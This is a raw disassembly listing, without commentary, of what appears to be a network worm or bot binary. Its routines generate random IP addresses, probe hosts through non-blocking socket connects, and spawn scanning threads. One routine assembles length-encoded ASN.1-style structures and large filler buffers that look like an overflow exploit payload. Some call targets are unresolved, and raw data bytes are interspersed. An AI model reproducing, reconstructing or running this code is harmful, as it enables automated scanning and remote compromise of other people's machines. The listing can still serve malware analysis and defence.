		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB20[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9D4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9BC
		push	esi
		mov	edi, eax
		call	dword_4CBA6C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E914[ebx]
		cmp	dword_4CBB24[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E914[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E64
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E710[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB20
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E3C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB20
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_4317FC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		call	near ptr 269040Ah
		nop
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 26F0000h


loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA14
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB20
		push	esi
		call	near ptr 26F0788h
		nop
		push	80000400h
		push	esi
		call	near ptr 26F05E8h
		nop
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F48
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C3E8+371j
		nop
		call	near ptr 2690C56h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB20[eax*8]
		push	eax
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431E9C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB24[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB20
		call	near ptr 26F0788h
		nop


loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB24[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E91C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA60
		push	eax
		mov	edi, offset dword_4CE4E4
		push	offset dword_431F7C
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA6C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 0E8905757h,	2283AE2h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 31E890FCh, 0FF022736h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
		dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h,	50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0F868FFFFh
		dd 5000431Fh, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 10050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	90575700h
		dd 2839F1E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 41E80875h, 90022735h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0CC68FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB88C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC80
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432030
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323B4
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
